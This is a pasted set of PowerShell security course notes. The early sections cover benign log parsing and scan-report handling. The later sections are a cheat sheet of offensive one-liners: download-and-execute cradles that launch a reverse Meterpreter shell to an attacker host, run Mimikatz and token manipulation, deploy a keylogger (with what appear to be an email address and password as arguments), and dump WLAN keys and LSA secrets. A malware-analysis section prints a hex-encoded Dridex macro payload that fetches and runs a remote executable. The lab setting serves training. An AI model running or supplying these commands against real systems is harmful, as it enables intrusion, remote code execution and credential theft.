73fL0n

McCray-PowershellIntro

Aug 1st, 2017
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.60 KB | None | 0 0
  1. #######################
  2. # VMs for this course #
  3. #######################
  4. https://s3.amazonaws.com/StrategicSec-VMs/Win7x64.zip
  5. username: workshop
  6. password: password
  7.  
  8. https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu14.zip
  9. username: strategicsec
  10. password: strategicsec
  11.  
  12. You can do the updates in the Win7 VM (yes, it is a lot of updates).
  13.  
  14. You'll need to create directory in the Win7 VM called "c:\ps"
  15.  
  16. In this file you will also need to change the text '192.168.200.144' to the IP address of your Ubuntu host.
  17.  
  18.  
  19.  
  20. #####################
  21. # Powershell Basics #
  22. #####################
  23.  
  24. PowerShell is Microsoft’s new scripting language that has been built in since the release Vista.
  25.  
  26. PowerShell file extension end in .ps1 .
  27.  
  28. An important note is that you cannot double click on a PowerShell script to execute it.
  29.  
  30. To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
  31.  
  32. dir
  33. cd
  34. ls
  35. cd c:\
  36.  
  37.  
  38. To obtain a list of cmdlets, use the Get-Command cmdlet
  39.  
  40. Get-Command
  41.  
  42.  
  43.  
  44. You can use the Get-Alias cmdlet to see a full list of aliased commands.
  45.  
  46. Get-Alias
  47.  
  48.  
  49.  
  50. Don't worry you won't blow up your machine with Powershell
  51. Get-Process | stop-process What will this command do?
  52. Get-Process | stop-process -whatif
  53.  
  54.  
  55. To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
  56.  
  57. Get-Help Get-Command
  58.  
  59. Get-Help Get-Service –online
  60.  
  61. Get-Service -Name TermService, Spooler
  62.  
  63. Get-Service –N BITS
  64.  
  65. Start-Transcript
  66.  
  67. PowerShell variables begin with the $ symbol. First lets create a variable
  68.  
  69. $serv = Get-Service –N Spooler
  70.  
  71. To see the value of a variable you can just call it in the terminal.
  72.  
  73. $serv
  74.  
  75. $serv.gettype().fullname
  76.  
  77.  
  78. Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
  79.  
  80. $serv | Get-Member
  81.  
  82. Get-Member -InputObject $serv
  83.  
  84.  
  85.  
  86.  
  87.  
  88. Let’s use a method and a property with our object.
  89.  
  90. $serv.Status
  91. $serv.Stop()
  92. $serv.Refresh()
  93. $serv.Status
  94. $serv.Start()
  95. $serv.Refresh()
  96. $serv.Status
  97.  
  98.  
  99.  
  100.  
  101. Methods can return properties and properties can have sub properties. You can chain them together by appending them to the first call.
  102.  
  103.  
  104.  
  105. #############################
  106. # Simple Event Log Analysis #
  107. #############################
  108.  
  109. Step 1: Dump the event logs
  110. ---------------------------
  111. The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
  112.  
  113. To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
  114. If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
  115.  
  116. Get-EventLog -LogName application | Export-Clixml Applog.xml
  117.  
  118. type .\Applog.xml
  119.  
  120. $logs = "system","application","security"
  121.  
  122. The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
  123.  
  124. $logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
  125.  
  126.  
  127.  
  128. Step 2: Import the event log of interest
  129. ----------------------------------------
  130. To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
  131. Store the results in a variable.
  132. Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
  133.  
  134. The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
  135.  
  136. $seclog = Import-Clixml security.xml
  137.  
  138. $seclog | select -Last 5
  139.  
  140.  
  141. Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
  142.  
  143. Get-EventLog Application -After (Get-Date).AddDays(-1)
  144.  
  145. You can use '-after' and '-before' to filter date ranges
  146.  
  147. One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
  148. By default, an ordinary user does not have permission to read the security log.
  149.  
  150.  
  151. Step 3: Drill into a specific entry
  152. -----------------------------------
  153. To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
  154.  
  155.  
  156. $seclog | select -first 1 | fl *
  157.  
  158. The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
  159.  
  160.  
  161. ($seclog | select -first 1).message
  162.  
  163. (($seclog | select -first 1).message).gettype()
  164.  
  165.  
  166.  
  167. In the *nix world you often want a count of something (wc -l).
  168. How often is the SeSecurityPrivilege privilege mentioned in the message property?
  169. To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
  170.  
  171. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
  172.  
  173. If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
  174.  
  175.  
  176. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
  177.  
  178. Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
  179. Use the count property to determine the total number of entries in the event log.
  180.  
  181. $seclog.Count
  182.  
  183.  
  184.  
  185.  
  186.  
  187.  
  188. ############################
  189. # Simple Log File Analysis #
  190. ############################
  191.  
  192.  
  193. You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
  194.  
  195.  
  196. mkdir c:\ps
  197. cd c:\ps
  198. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
  199.  
  200.  
  201.  
  202.  
  203.  
  204.  
  205.  
  206.  
  207. ###############################################
  208. # Intrusion Analysis Using Windows PowerShell #
  209. ###############################################
  210.  
  211. Download sample file http://pastebin.com/raw.php?i=ysnhXxTV into the c:\ps directory
  212.  
  213.  
  214.  
  215.  
  216.  
  217. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
  218.  
  219. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
  220.  
  221.  
  222.  
  223.  
  224. The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
  225.  
  226. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
  227.  
  228.  
  229.  
  230.  
  231. To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
  232.  
  233. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
  234.  
  235.  
  236.  
  237. To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
  238.  
  239. Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
  240.  
  241.  
  242.  
  243. Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
  244.  
  245. Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
  246.  
  247.  
  248. In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
  249. This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
  250.  
  251. Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
  252.  
  253.  
  254.  
  255.  
  256. This will get the setting for logs in the windows firewall which should be enabled in GPO policy for analysis.
  257. The command shows that the Firewall log is at:
  258. %systemroot%\system32\LogFiles\Firewall\pfirewall.log, in order to open the file PowerShell will need to be run with administrative privileges.
  259.  
  260.  
  261. First step is to get the above command into a variable using script logic.
  262. Thankfully PowerShell has a built-in integrated scripting environment, PowerShell.ise.
  263.  
  264. netsh advfirewall show allprofiles | Select-String FileName | select -ExpandProperty line | Select-String “%systemroot%.+\.log" | select -ExpandProperty matches | select -ExpandProperty value | sort –uniq
  265.  
  266.  
  267. ##############################################
  268. # Parsing Log files using windows PowerShell #
  269. ##############################################
  270.  
  271. Download the sample IIS log http://pastebin.com/LBn64cyA
  272.  
  273.  
  274. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
  275.  
  276. Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")}
  277.  
  278.  
  279.  
  280. The above command would give us all the WebDAV requests.
  281.  
  282. To filter this to a particular user name, use the below command:
  283.  
  284. Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")}
  285.  
  286.  
  287.  
  288. Some more options that will be more commonly required :
  289.  
  290. For Outlook Web Access : Replace WebDAV with OWA
  291.  
  292. For EAS : Replace WebDAV with Microsoft-server-activesync
  293.  
  294. For ECP : Replace WebDAV with ECP
  295.  
  296.  
  297.  
  298.  
  299.  
  300.  
  301.  
  302. ####################################################################
  303. # Windows PowerShell: Extracting Strings Using Regular Expressions #
  304. ####################################################################
  305. To build a script that will extract data from a text file and place the extracted text into another file, we need three main elements:
  306.  
  307. 1) The input file that will be parsed
  308.  
  309. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=rDN3CMLc", "c:\ps\emails.txt")
  310. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=XySD8Mi2", "c:\ps\ip_addresses.txt")
  311. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=v5Yq66sH", "c:\ps\URL_addresses.txt")
  312.  
  313. 2) The regular expression that the input file will be compared against
  314.  
  315. 3) The output file for where the extracted data will be placed.
  316.  
  317. Windows PowerShell has a “select-string” cmdlet which can be used to quickly scan a file to see if a certain string value exists.
  318. Using some of the parameters of this cmdlet, we are able to search through a file to see whether any strings match a certain pattern, and then output the results to a separate file.
  319.  
  320. To demonstrate this concept, below is a Windows PowerShell script I created to search through a text file for strings that match the Regular Expression (or RegEx for short) pattern belonging to e-mail addresses.
  321.  
  322. $input_path = ‘c:\ps\emails.txt’
  323. $output_file = ‘c:\ps\extracted_addresses.txt’
  324. $regex = ‘\b[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b’
  325. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  326.  
  327. In this script, we have the following variables:
  328.  
  329. 1) $input_path to hold the path to the input file we want to parse
  330.  
  331. 2) $output_file to hold the path to the file we want the results to be stored in
  332.  
  333. 3) $regex to hold the regular expression pattern to be used when the strings are being matched.
  334.  
  335. The select-string cmdlet contains various parameters as follows:
  336.  
  337. 1) “-Path” which takes as input the full path to the input file
  338.  
  339. 2) “-Pattern” which takes as input the regular expression used in the matching process
  340.  
  341. 3) “-AllMatches” which searches for more than one match (without this parameter it would stop after the first match is found) and is piped to “$.Matches” and then “$_.Value” which represent using the current values of all the matches.
  342.  
  343. Using “>” the results are written to the destination specified in the $output_file variable.
  344.  
  345. Here are two further examples of this script which incorporate a regular expression for extracting IP addresses and URLs.
  346.  
  347. IP addresses
  348. ------------
  349. For the purposes of this example, I ran the tracert command to trace the route from my host to google.com and saved the results into a file called ip_addresses.txt. You may choose to use this script for extracting IP addresses from router logs, firewall logs, debug logs, etc.
  350.  
  351. $input_path = ‘c:\ps\ip_addresses.txt’
  352. $output_file = ‘c:\ps\extracted_ip_addresses.txt’
  353. $regex = ‘\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b’
  354. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  355.  
  356.  
  357. URLs
  358. ----
  359. For the purposes of this example, I created a couple of dummy web server log entries and saved them into URL_addresses.txt.
  360. You may choose to use this script for extracting URL addresses from proxy logs, network packet capture logs, debug logs, etc.
  361.  
  362. $input_path = ‘c:\ps\URL_addresses.txt’
  363. $output_file = ‘c:\ps\extracted_URL_addresses.txt’
  364. $regex = ‘([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?’
  365. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  366.  
  367.  
  368. In addition to the examples above, many other types of strings can be extracted using this script.
  369. All you need to do is switch the regular expression in the “$regex” variable!
  370. In fact, the beauty of such a PowerShell script is its simplicity and speed of execution.
  371.  
  372.  
  373. ###################
  374. # Pentester Tasks #
  375. ###################
  376. Reference:
  377. http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx
  378.  
  379.  
  380. Listing IPs
  381. -----------
  382. One of the typical ways for working with IP addressed in most scripts is to work with an octet and then increase the last one
  383.  
  384. $octect = "192.168.200."
  385. $lastoctect = (1..255)
  386. $lastoctect | ForEach-Object {write-host "$($octect)$($_)"}
  387.  
  388. Ping Sweep
  389. ------------------------------------------------------
  390. PowerShell provides several methods for doing Ping
  391. Test-Connection cmdlet
  392. Creation of a WMI Object
  393. .Net System.Net.NetworkInformation.Ping Object
  394. ------------------------------------------------------
  395.  
  396. function New-IPRange ($start, $end) {
  397. $ip1 = ([System.Net.IPAddress]$start).GetAddressBytes()
  398. [Array]::Reverse($ip1)
  399. $ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address
  400.  
  401. $ip2 = ([System.Net.IPAddress]$end).GetAddressBytes()
  402. [Array]::Reverse($ip2)
  403. $ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address
  404.  
  405. for ($x=$ip1; $x -le $ip2; $x++) {
  406. $ip = ([System.Net.IPAddress]$x).GetAddressBytes()
  407. [Array]::Reverse($ip)
  408. $ip -join '.'
  409. }
  410. }
  411. $ping = New-Object System.Net.NetworkInformation.Ping
  412. New-IPRange 192.168.200.1 192.168.200.150 | ForEach-Object {$ping.Send($_, 100)} | where {$_.status -eq "Success"}
  413.  
  414.  
  415.  
  416. Reverse Lookups
  417. ---------------
  418. For reverse lookups using .Net Class we use the [System.Net.Dns]::GetHostEntry(IP) method Returns System.Net.IPHostEntry
  419.  
  420. [System.Net.Dns]::GetHostByAddress("162.243.126.247")
  421.  
  422.  
  423. Forward Lookups
  424. ---------------
  425. [System.Net.Dns]::GetHostAddresses("www.google.com")
  426.  
  427.  
  428.  
  429. Port Scans
  430. ----------
  431. To test if a port is open on a remote host in PowerShell the best method is to use the .Net abstraction that it provides to Windows Socket library
  432. For TCP the .Net System.Net.Sockets.TcpClient
  433. For UDP the .Net System.Net.Sockets.UdpClient
  434.  
  435.  
  436.  
  437.  
  438. TCP Scan
  439. --------
  440. $ports=22,80
  441. $target = "192.168.200.144"
  442. foreach ($i in $ports) {
  443. try {
  444. $socket = new-object System.Net.Sockets.TCPClient($target, $i);
  445. } catch {}
  446. if ($socket -eq $NULL) {
  447. echo "$target:$i - Closed";
  448. } else {
  449. echo "$target:$i - Open";
  450. $socket = $NULL;
  451. }}
  452.  
  453.  
  454.  
  455.  
  456.  
  457. ##########################
  458. # Parsing Nmap XML Files #
  459. ##########################
  460. If you are NOT using the Win7 VM provided then you can get the required files for this lab which are located in this zip file:
  461. https://s3.amazonaws.com/StrategicSec-Files/Powershell/PowerShell-Files.zip
  462.  
  463.  
  464.  
  465.  
  466. Run Powershell as administrator
  467.  
  468. cd C:\
  469.  
  470. Get-ExecutionPolicy
  471. Set-ExecutionPolicy Unrestricted –Force
  472.  
  473.  
  474.  
  475. Parse nmap XML
  476. .\parse-nmap.ps1 samplescan.xml
  477.  
  478. Process all XML files
  479.  
  480. .\parse-nmap.ps1 *.xml
  481.  
  482. Piping also works
  483. dir *.xml | .\parse-nmap.ps1
  484.  
  485. Advanced parsing with filtering conditions
  486. .\parse-nmap.ps1 samplescan.xml | where {$_.OS -like "*Windows XP*"} | format-table IPv4,HostName,OS
  487.  
  488. More parsing
  489. .\parse-nmap.ps1 samplescan.xml | where {$_.Ports -like "*open:tcp:22*"}
  490.  
  491. Parsing with match and multiple conditions
  492. .\parse-nmap.ps1 samplescan.xml |where {$_.Ports -match "open:tcp:80|open:tcp:443"}
  493.  
  494. CSV Export
  495. .\parse-nmap.ps1 samplescan.xml -outputdelimiter " " | where {$_.Ports -match "open:tcp:80"} | export-csv weblisteners.csv
  496.  
  497. Import Data from CSV
  498. $data = import-csv weblisteners.csv
  499. $data | where {($_.IPv4 -like "10.57.*") -and ($_.Ports -match "open:tcp:22")}
  500.  
  501. Export to HTML
  502. .\parse-nmap.ps1 samplescan.xml -outputdelimiter " " |select-object IPv4,HostName,OS | ConvertTo-Html | out-file report.html
  503.  
  504.  
  505.  
  506. ########################################
  507. # Parsing Nessus scans with PowerShell #
  508. ########################################
  509. If you are NOT using the Win7 VM provided then you can get the required files for this lab which are located in this zip file:
  510. https://s3.amazonaws.com/StrategicSec-Files/Powershell/PowerShell-Files.zip
  511.  
  512.  
  513.  
  514. Let’s take a look at the Import-Csv cmdlet and what are the members of the object it returns:
  515.  
  516. Import-Csv C:\class_nessus.csv | Get-Member
  517.  
  518. filter the objects:
  519.  
  520. Import-Csv C:\class_nessus.csv | where {$_.risk -eq "high"}
  521.  
  522. use the Select-Object cmdlet and only get unique entries:
  523.  
  524. Import-Csv C:\class_nessus.csv | where {$_.risk -eq "high"} | select host -Unique
  525.  
  526. Import-Csv C:\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host, Protocol, Port, Name | Out-GridView
  527.  
  528.  
  529. ConvertTo-Html cmdlet and turn it in to an HTML report in list format:
  530.  
  531. Import-Csv C:\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host, Protocol, Port, Name | ConvertTo-Html -As List > C:\report2.html
  532.  
  533.  
  534.  
  535.  
  536.  
  537. #####################################################
  538. # Analyzing Macro Embedded Malware #
  539. # Reference: #
  540. # https://jon.glass/analyzes-dridex-malware-p1/ #
  541. #####################################################
  542.  
  543.  
  544. sudo pip install olefile
  545. infosecaddicts
  546.  
  547. mkdir ~/Desktop/oledump
  548.  
  549. cd ~/Desktop/oledump
  550.  
  551. wget https://s3.amazonaws.com/StrategicSec-Files/MalwareAnalysis/064016.zip
  552.  
  553. unzip 064016.zip
  554. infected
  555.  
  556. python oledump.py 064016.doc
  557.  
  558. python oledump.py 064016.doc -s A4 -v
  559.  
  560. - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
  561. - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
  562.  
  563.  
  564. python oledump.py 064016.doc -s A5 -v
  565.  
  566. - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
  567.  
  568.  
  569. python oledump.py 064016.doc -s A3 -v
  570.  
  571. - Look for "GVhkjbjv" and you should see:
  572.  
  573. 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
  574.  
  575. - Take that long blob that starts with 636D and finishes with 653B and paste it in:
  576. http://www.rapidtables.com/convert/number/hex-to-ascii.htm
  577.  
  578.  
  579.  
  580.  
  581.  
  582.  
  583.  
  584. ############################################
  585. # Introduction to scripting and toolmaking #
  586. ############################################
  587. https://www.youtube.com/watch?v=usiqXcWb978
  588.  
  589.  
  590.  
  591.  
  592. ####################################################
  593. # Running Powershell From A Command Prompt #
  594. # Using Powersploit & Nishang #
  595. ####################################################
  596.  
  597. COMMAND & 1 PARAMATER SYNTAX:
  598. powershell -command "& {&'some-command' someParam}"
  599.  
  600.  
  601.  
  602. MULTIPLE COMMAND & PARAMETER SYNTAX
  603. powershell -command "& {&'some-command' someParam}"; "& {&'some-command' -SpecificArg someParam}"
  604.  
  605.  
  606.  
  607. Tools to download to the web root (/var/www) of your StrategicSec-Ubuntu-VM:
  608. https://github.com/mattifestation/PowerSploit.git
  609. https://github.com/samratashok/nishang
  610.  
  611. from the strategicsec home dir copy nc.exe to /var/www/ folder
  612.  
  613. user:strategicsec
  614. pass:strategicsec
  615.  
  616.  
  617. cd ~
  618. sudo cp nc.exe /var/www/
  619.  
  620. cd /var/www/html/
  621. sudo git clone https://github.com/samratashok/nishang
  622. sudo git clone https://github.com/mattifestation/PowerSploit
  623.  
  624.  
  625. ********************************** Simple Ping Sweep **********************************
  626. powershell -command "50..100 | % {\""192.168.200.$($_): $(Test-Connection -count 1 -comp 192.168.200.$($_) -quiet)\""}"
  627.  
  628.  
  629.  
  630.  
  631.  
  632. ********************************** Simple Port 445 Sweep **********************************
  633. powershell -command "1..255 | % { echo ((new-object Net.Sockets.TcpClient).Connect(\""192.168.200.$_\"",445)) \""192.168.200.$_\""} 2>$null"
  634.  
  635.  
  636.  
  637.  
  638.  
  639.  
  640. ********************************** Simple Port Scan **********************************
  641. powershell -command "1..1024 | % { echo ((new-object Net.Sockets.TcpClient).Connect(\""192.168.200.XX\"",$_)) \""$_ is open\""} 2>$null"
  642.  
  643.  
  644.  
  645.  
  646.  
  647.  
  648. ********************************** Download a file **********************************
  649. powershell -command "(New-Object System.Net.WebClient).DownloadFile('http://192.168.200.144/nc.exe', 'nc.exe’)"
  650.  
  651.  
  652.  
  653.  
  654.  
  655. ********************************** Downloading files: Binaries **********************************
  656. powershell -command "(New-ObjectSystem.Net.WebClient).DownloadFile("http://192.168.200.144/nc.exe","c:\nc.exe“)"
  657.  
  658.  
  659.  
  660.  
  661.  
  662. ********************************** Text file stdout to local file **********************************
  663. (New-Object System.Net.WebClient).DownloadString("http://192.168.200.144/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") | Out-File -Encoding ASCII Invoke-Shellcode.ps1
  664.  
  665.  
  666.  
  667.  
  668. ********************************** Powershell Download & Execute Reverse Meterpreter **********************************
  669. from ubuntu host browse to metasploit folder
  670. cd ~/toolz/metasploit/
  671.  
  672. sudo ./msfconsole
  673. use exploit/multi/handler
  674. set ExitOnSession false
  675. set payload windows/meterpreter/reverse_https
  676. set LHOST 192.168.200.144
  677. set LPORT 443
  678. set EXITFUNC thread
  679. exploit -j
  680.  
  681.  
  682.  
  683. powershell -command "IEX (New-Object Net.WebClient).DownloadString('https://s3.amazonaws.com/StrategicSec-Files/Powersploit/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.200.144 -Lport 443 -Force"
  684.  
  685.  
  686.  
  687.  
  688.  
  689. ********************************** Payload which could execute shellcode from DNS TXT queries. **********************************
  690. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.200.144/nishang/Execution/Execute-DNSTXT-Code.ps1','%TEMP%\Execute-DNSTXT-Code.ps1')
  691. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Execute-DNSTXT-Code.ps1 32.alteredsecurity.com 64.alteredsecurity.com ns8.zoneedit.com
  692.  
  693.  
  694.  
  695.  
  696.  
  697.  
  698. powershell -command "IEX (New-Object Net.WebClient).DownloadString('http://192.168.200.144/powersploit/Exfiltration/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz"
  699.  
  700.  
  701.  
  702.  
  703.  
  704.  
  705.  
  706.  
  707.  
  708. ********************************** Run mimikatz via powershell (must be run as SYSTEM) **********************************
  709. powershell -command "IEX (New-Object Net.WebClient).DownloadString('https://s3.amazonaws.com/StrategicSec-Files/Powersploit/Invoke-Mimikatz.ps1') | Out-File -Encoding ASCII Invoke-Mimikatz.ps1; Import-Module .\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz"
  710.  
  711.  
  712.  
  713.  
  714.  
  715. ********************************** Token Manipulation to escalate (must be run as an Administrator) **********************************
  716. powershell -command "IEX (New-Object Net.WebClient).DownloadString('http://192.168.200.144/powersploit/Exfiltration/Invoke-TokenManipulation.ps1') ; Invoke-TokenManipulation"
  717.  
  718. powershell -command "IEX (New-Object Net.WebClient).DownloadString('https://s3.amazonaws.com/StrategicSec-Files/Powersploit/Invoke-TokenManipulation.ps1') | Out-File -Encoding ASCII Invoke-TokenManipulation.ps1; Import-Module .\Invoke-TokenManipulation.ps1 ; Invoke-TokenManipulation"
  719.  
  720.  
  721.  
  722.  
  723.  
  724.  
  725.  
  726.  
  727. ********************************** Nihsang payload which Scan IP-Addresses, Ports and HostNames **********************************
  728. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.200.144/nishang/Invoke-PingSweep.ps1','%TEMP%\Invoke-PingSweep.ps1')
  729. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Invoke-PingSweep.ps1 -StartAddress 192.168.200.50 -EndAddress 192.168.200.100 -ResolveHost -ScanPort
  730.  
  731.  
  732.  
  733.  
  734.  
  735.  
  736. ********************************** Nihsang payload which Scan IP-Addresses, Ports and HostNames **********************************
  737. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.200.144/nishang/Port-Scan.ps1','%TEMP%\Port-Scan.ps1')
  738. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Port-Scan.ps1 -StartAddress 192.168.200.50 -EndAddress 192.168.200.100 -ResolveHost -ScanPort
  739.  
  740.  
  741.  
  742.  
  743.  
  744. ********************************** Nishang Payload which gathers juicy information from the target. **********************************
  745. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.200.144/nishang/Get-Information.ps1','%TEMP%\Get-Information.ps1')
  746. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Get-Information.ps1
  747.  
  748.  
  749.  
  750.  
  751.  
  752. ********************************** Nishang Payload which gathers juicy information from the target. **********************************
  753. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.200.144/nishang/Information_Gather.ps1','%TEMP%\Information_Gather.ps1')
  754. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Information_Gather.ps1
  755.  
  756.  
  757.  
  758.  
  759.  
  760. ********************************** Nishang script which can drop and execute executables on multiple computers. **********************************
  761. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.200.144/nishang/Run-EXEonRemote.ps1','%TEMP%\Run-EXEonRemote.ps1')
  762. powershell.exe -ExecutionPolicy Bypass -command Invoke-Command -FilePath %TEMP%\Run-EXEonRemote.ps1 -ComputerName Test-PC
  763.  
  764.  
  765.  
  766.  
  767.  
  768. ********************************** Nishang Payload which logs keys. **********************************
  769. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.200.144/nishang/Keylogger.ps1','%TEMP%\Keylogger.ps1')
  770. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Keylogger.ps1 16e7a8a83f04eec8ab6bc1bce9d103e3 juraghh@gmail.com ITp!Ka3099 1 http://example.com stopthis
  771.  
  772.  
  773.  
  774.  
  775.  
  776. ********************************** Nishang Payload which silently browses to a URL and accepts Java Applet Run Warning **********************************
  777. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.200.144/nishang/Browse_Accept_Applet.ps1','%TEMP%\Browse_Accept_Applet.ps1')
  778. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Browse_Accept_Applet.ps1 http://192.168.200.144:8080/JavaExploit
  779.  
  780.  
  781.  
  782.  
  783. ********************************** Nishang Payload which dumps keys for WLAN profiles. **********************************
  784. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.200.144/nishang/Get-WLAN-Keys.ps1','%TEMP%\Get-WLAN-Keys.ps1')
  785. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Get-WLAN-Keys.ps1
  786.  
  787.  
  788.  
  789.  
  790.  
  791. ********************************** Nishang payload which extracts LSA Secrets from local computer. **********************************
  792. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.200.144/nishang/Get-LSASecret.ps1','%TEMP%\Get-LSASecret.ps1')
  793. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Get-LSASecret.ps1 -filename .\servers.txt
Add Comment
Please, Sign In to add comment